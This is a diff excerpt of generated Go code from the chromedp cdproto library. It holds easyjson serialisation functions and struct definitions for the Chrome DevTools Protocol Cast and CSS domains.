if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
case "id":
|
||||
out.ID = string(in.String())
|
||||
case "session":
|
||||
out.Session = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast3(out *jwriter.Writer, in Sink) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"name\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
if in.Session != "" {
|
||||
const prefix string = ",\"session\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Session))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v Sink) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v Sink) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *Sink) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *Sink) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast4(in *jlexer.Lexer, out *SetSinkToUseParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "sinkName":
|
||||
out.SinkName = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast4(out *jwriter.Writer, in SetSinkToUseParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"sinkName\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.SinkName))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetSinkToUseParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetSinkToUseParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetSinkToUseParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetSinkToUseParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast5(in *jlexer.Lexer, out *EventSinksUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "sinks":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Sinks = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.Sinks == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.Sinks = make([]*Sink, 0, 8)
|
||||
} else {
|
||||
out.Sinks = []*Sink{}
|
||||
}
|
||||
} else {
|
||||
out.Sinks = (out.Sinks)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 *Sink
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
v1 = nil
|
||||
} else {
|
||||
if v1 == nil {
|
||||
v1 = new(Sink)
|
||||
}
|
||||
(*v1).UnmarshalEasyJSON(in)
|
||||
}
|
||||
out.Sinks = append(out.Sinks, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast5(out *jwriter.Writer, in EventSinksUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"sinks\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.Sinks == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v2, v3 := range in.Sinks {
|
||||
if v2 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
if v3 == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*v3).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventSinksUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventSinksUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventSinksUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventSinksUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast6(in *jlexer.Lexer, out *EventIssueUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "issueMessage":
|
||||
out.IssueMessage = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast6(out *jwriter.Writer, in EventIssueUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"issueMessage\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.IssueMessage))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventIssueUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventIssueUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventIssueUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventIssueUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast7(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "presentationUrl":
|
||||
out.PresentationURL = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast7(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
if in.PresentationURL != "" {
|
||||
const prefix string = ",\"presentationUrl\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.PresentationURL))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast7(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast7(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast7(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast7(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast8(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast8(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast8(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast8(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast8(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast8(l, v)
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package cast
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventSinksUpdated this is fired whenever the list of available sinks
|
||||
// changes. A sink is a device or a software surface that you can cast to.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#event-sinksUpdated
|
||||
type EventSinksUpdated struct {
|
||||
Sinks []*Sink `json:"sinks"`
|
||||
}
|
||||
|
||||
// EventIssueUpdated this is fired whenever the outstanding issue/error
|
||||
// message changes. |issueMessage| is empty if there is no issue.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#event-issueUpdated
|
||||
type EventIssueUpdated struct {
|
||||
IssueMessage string `json:"issueMessage"`
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
package cast
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// Sink [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#type-Sink
|
||||
type Sink struct {
|
||||
Name string `json:"name"`
|
||||
ID string `json:"id"`
|
||||
Session string `json:"session,omitempty"` // Text describing the current session. Present only if there is an active session on the sink.
|
||||
}
|
||||
+1302
File diff suppressed because it is too large.
Load diff
+1326
File diff suppressed because it is too large.
Load diff
+2785
File diff suppressed because it is too large.
Load diff
+1151
File diff suppressed because it is too large.
Load diff
+8269
File diff suppressed because it is too large.
Load diff
+42
@@ -0,0 +1,42 @@
|
||||
package css
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventFontsUpdated fires whenever a web font is updated. A non-empty font
|
||||
// parameter indicates a successfully loaded web font.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-fontsUpdated
|
||||
type EventFontsUpdated struct {
|
||||
Font *FontFace `json:"font,omitempty"` // The web font that has loaded.
|
||||
}
|
||||
|
||||
// EventMediaQueryResultChanged fires whenever a MediaQuery result changes
|
||||
// (for example, after a browser window has been resized.) The current
|
||||
// implementation considers only viewport-dependent media features.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-mediaQueryResultChanged
|
||||
type EventMediaQueryResultChanged struct{}
|
||||
|
||||
// EventStyleSheetAdded fired whenever an active document stylesheet is
|
||||
// added.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-styleSheetAdded
|
||||
type EventStyleSheetAdded struct {
|
||||
Header *StyleSheetHeader `json:"header"` // Added stylesheet metainfo.
|
||||
}
|
||||
|
||||
// EventStyleSheetChanged fired whenever a stylesheet is changed as a result
|
||||
// of the client operation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-styleSheetChanged
|
||||
type EventStyleSheetChanged struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"`
|
||||
}
|
||||
|
||||
// EventStyleSheetRemoved fired whenever an active document stylesheet is
|
||||
// removed.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-styleSheetRemoved
|
||||
type EventStyleSheetRemoved struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"` // Identifier of the removed stylesheet.
|
||||
}
|
||||
+426
@@ -0,0 +1,426 @@
|
||||
package css
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// StyleSheetID [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-StyleSheetId
|
||||
type StyleSheetID string
|
||||
|
||||
// String returns the StyleSheetID as string value.
|
||||
func (t StyleSheetID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// StyleSheetOrigin stylesheet type: "injected" for stylesheets injected via
|
||||
// extension, "user-agent" for user-agent stylesheets, "inspector" for
|
||||
// stylesheets created by the inspector (i.e. those holding the "via inspector"
|
||||
// rules), "regular" for regular stylesheets.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-StyleSheetOrigin
|
||||
type StyleSheetOrigin string
|
||||
|
||||
// String returns the StyleSheetOrigin as string value.
|
||||
func (t StyleSheetOrigin) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// StyleSheetOrigin values.
|
||||
const (
|
||||
StyleSheetOriginInjected StyleSheetOrigin = "injected"
|
||||
StyleSheetOriginUserAgent StyleSheetOrigin = "user-agent"
|
||||
StyleSheetOriginInspector StyleSheetOrigin = "inspector"
|
||||
StyleSheetOriginRegular StyleSheetOrigin = "regular"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t StyleSheetOrigin) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t StyleSheetOrigin) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch StyleSheetOrigin(in.String()) {
|
||||
case StyleSheetOriginInjected:
|
||||
*t = StyleSheetOriginInjected
|
||||
case StyleSheetOriginUserAgent:
|
||||
*t = StyleSheetOriginUserAgent
|
||||
case StyleSheetOriginInspector:
|
||||
*t = StyleSheetOriginInspector
|
||||
case StyleSheetOriginRegular:
|
||||
*t = StyleSheetOriginRegular
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown StyleSheetOrigin value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *StyleSheetOrigin) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PseudoElementMatches CSS rule collection for a single pseudo style.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-PseudoElementMatches
|
||||
type PseudoElementMatches struct {
|
||||
PseudoType cdp.PseudoType `json:"pseudoType"` // Pseudo element type.
|
||||
PseudoIdentifier string `json:"pseudoIdentifier,omitempty"` // Pseudo element custom ident.
|
||||
Matches []*RuleMatch `json:"matches"` // Matches of CSS rules applicable to the pseudo style.
|
||||
}
|
||||
|
||||
// InheritedStyleEntry inherited CSS rule collection from ancestor node.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-InheritedStyleEntry
|
||||
type InheritedStyleEntry struct {
|
||||
InlineStyle *Style `json:"inlineStyle,omitempty"` // The ancestor node's inline style, if any, in the style inheritance chain.
|
||||
MatchedCSSRules []*RuleMatch `json:"matchedCSSRules"` // Matches of CSS rules matching the ancestor node in the style inheritance chain.
|
||||
}
|
||||
|
||||
// InheritedPseudoElementMatches inherited pseudo element matches from
|
||||
// pseudos of an ancestor node.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-InheritedPseudoElementMatches
|
||||
type InheritedPseudoElementMatches struct {
|
||||
PseudoElements []*PseudoElementMatches `json:"pseudoElements"` // Matches of pseudo styles from the pseudos of an ancestor node.
|
||||
}
|
||||
|
||||
// RuleMatch match data for a CSS rule.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-RuleMatch
|
||||
type RuleMatch struct {
|
||||
Rule *Rule `json:"rule"` // CSS rule in the match.
|
||||
MatchingSelectors []int64 `json:"matchingSelectors"` // Matching selector indices in the rule's selectorList selectors (0-based).
|
||||
}
|
||||
|
||||
// Value data for a simple selector (these are delimited by commas in a
|
||||
// selector list).
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-Value
|
||||
type Value struct {
|
||||
Text string `json:"text"` // Value text.
|
||||
Range *SourceRange `json:"range,omitempty"` // Value range in the underlying resource (if available).
|
||||
}
|
||||
|
||||
// SelectorList selector list data.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-SelectorList
|
||||
type SelectorList struct {
|
||||
Selectors []*Value `json:"selectors"` // Selectors in the list.
|
||||
Text string `json:"text"` // Rule selector text.
|
||||
}
|
||||
|
||||
// StyleSheetHeader CSS stylesheet metainformation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSStyleSheetHeader
|
||||
type StyleSheetHeader struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"` // The stylesheet identifier.
|
||||
FrameID cdp.FrameID `json:"frameId"` // Owner frame identifier.
|
||||
SourceURL string `json:"sourceURL"` // Stylesheet resource URL. Empty if this is a constructed stylesheet created using new CSSStyleSheet() (but non-empty if this is a constructed sylesheet imported as a CSS module script).
|
||||
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with the stylesheet (if any).
|
||||
Origin StyleSheetOrigin `json:"origin"` // Stylesheet origin.
|
||||
Title string `json:"title"` // Stylesheet title.
|
||||
OwnerNode cdp.BackendNodeID `json:"ownerNode,omitempty"` // The backend id for the owner node of the stylesheet.
|
||||
Disabled bool `json:"disabled"` // Denotes whether the stylesheet is disabled.
|
||||
HasSourceURL bool `json:"hasSourceURL,omitempty"` // Whether the sourceURL field value comes from the sourceURL comment.
|
||||
IsInline bool `json:"isInline"` // Whether this stylesheet is created for STYLE tag by parser. This flag is not set for document.written STYLE tags.
|
||||
IsMutable bool `json:"isMutable"` // Whether this stylesheet is mutable. Inline stylesheets become mutable after they have been modified via CSSOM API. <link> element's stylesheets become mutable only if DevTools modifies them. Constructed stylesheets (new CSSStyleSheet()) are mutable immediately after creation.
|
||||
IsConstructed bool `json:"isConstructed"` // True if this stylesheet is created through new CSSStyleSheet() or imported as a CSS module script.
|
||||
StartLine float64 `json:"startLine"` // Line offset of the stylesheet within the resource (zero based).
|
||||
StartColumn float64 `json:"startColumn"` // Column offset of the stylesheet within the resource (zero based).
|
||||
Length float64 `json:"length"` // Size of the content (in characters).
|
||||
EndLine float64 `json:"endLine"` // Line offset of the end of the stylesheet within the resource (zero based).
|
||||
EndColumn float64 `json:"endColumn"` // Column offset of the end of the stylesheet within the resource (zero based).
|
||||
}
|
||||
|
||||
// Rule CSS rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSRule
|
||||
type Rule struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
SelectorList *SelectorList `json:"selectorList"` // Rule selector data.
|
||||
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
|
||||
Style *Style `json:"style"` // Associated style declaration.
|
||||
Media []*Media `json:"media,omitempty"` // Media list array (for rules involving media queries). The array enumerates media queries starting with the innermost one, going outwards.
|
||||
ContainerQueries []*ContainerQuery `json:"containerQueries,omitempty"` // Container query list array (for rules involving container queries). The array enumerates container queries starting with the innermost one, going outwards.
|
||||
Supports []*Supports `json:"supports,omitempty"` // @supports CSS at-rule array. The array enumerates @supports at-rules starting with the innermost one, going outwards.
|
||||
Layers []*Layer `json:"layers,omitempty"` // Cascade layer array. Contains the layer hierarchy that this rule belongs to starting with the innermost layer and going outwards.
|
||||
Scopes []*Scope `json:"scopes,omitempty"` // @scope CSS at-rule array. The array enumerates @scope at-rules starting with the innermost one, going outwards.
|
||||
}
|
||||
|
||||
// RuleUsage CSS coverage information.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-RuleUsage
|
||||
type RuleUsage struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
StartOffset float64 `json:"startOffset"` // Offset of the start of the rule (including selector) from the beginning of the stylesheet.
|
||||
EndOffset float64 `json:"endOffset"` // Offset of the end of the rule body from the beginning of the stylesheet.
|
||||
Used bool `json:"used"` // Indicates whether the rule was actually used by some element in the page.
|
||||
}
|
||||
|
||||
// SourceRange text range within a resource. All numbers are zero-based.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-SourceRange
|
||||
type SourceRange struct {
|
||||
StartLine int64 `json:"startLine"` // Start line of range.
|
||||
StartColumn int64 `json:"startColumn"` // Start column of range (inclusive).
|
||||
EndLine int64 `json:"endLine"` // End line of range
|
||||
EndColumn int64 `json:"endColumn"` // End column of range (exclusive).
|
||||
}
|
||||
|
||||
// ShorthandEntry [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-ShorthandEntry
|
||||
type ShorthandEntry struct {
|
||||
Name string `json:"name"` // Shorthand name.
|
||||
Value string `json:"value"` // Shorthand value.
|
||||
Important bool `json:"important,omitempty"` // Whether the property has "!important" annotation (implies false if absent).
|
||||
}
|
||||
|
||||
// ComputedStyleProperty [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSComputedStyleProperty
|
||||
type ComputedStyleProperty struct {
|
||||
Name string `json:"name"` // Computed style property name.
|
||||
Value string `json:"value"` // Computed style property value.
|
||||
}
|
||||
|
||||
// Style CSS style representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSStyle
|
||||
type Style struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
CSSProperties []*Property `json:"cssProperties"` // CSS properties in the style.
|
||||
ShorthandEntries []*ShorthandEntry `json:"shorthandEntries"` // Computed values for all shorthands found in the style.
|
||||
CSSText string `json:"cssText,omitempty"` // Style declaration text (if available).
|
||||
Range *SourceRange `json:"range,omitempty"` // Style declaration range in the enclosing stylesheet (if available).
|
||||
}
|
||||
|
||||
// Property CSS property declaration data.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSProperty
|
||||
type Property struct {
|
||||
Name string `json:"name"` // The property name.
|
||||
Value string `json:"value"` // The property value.
|
||||
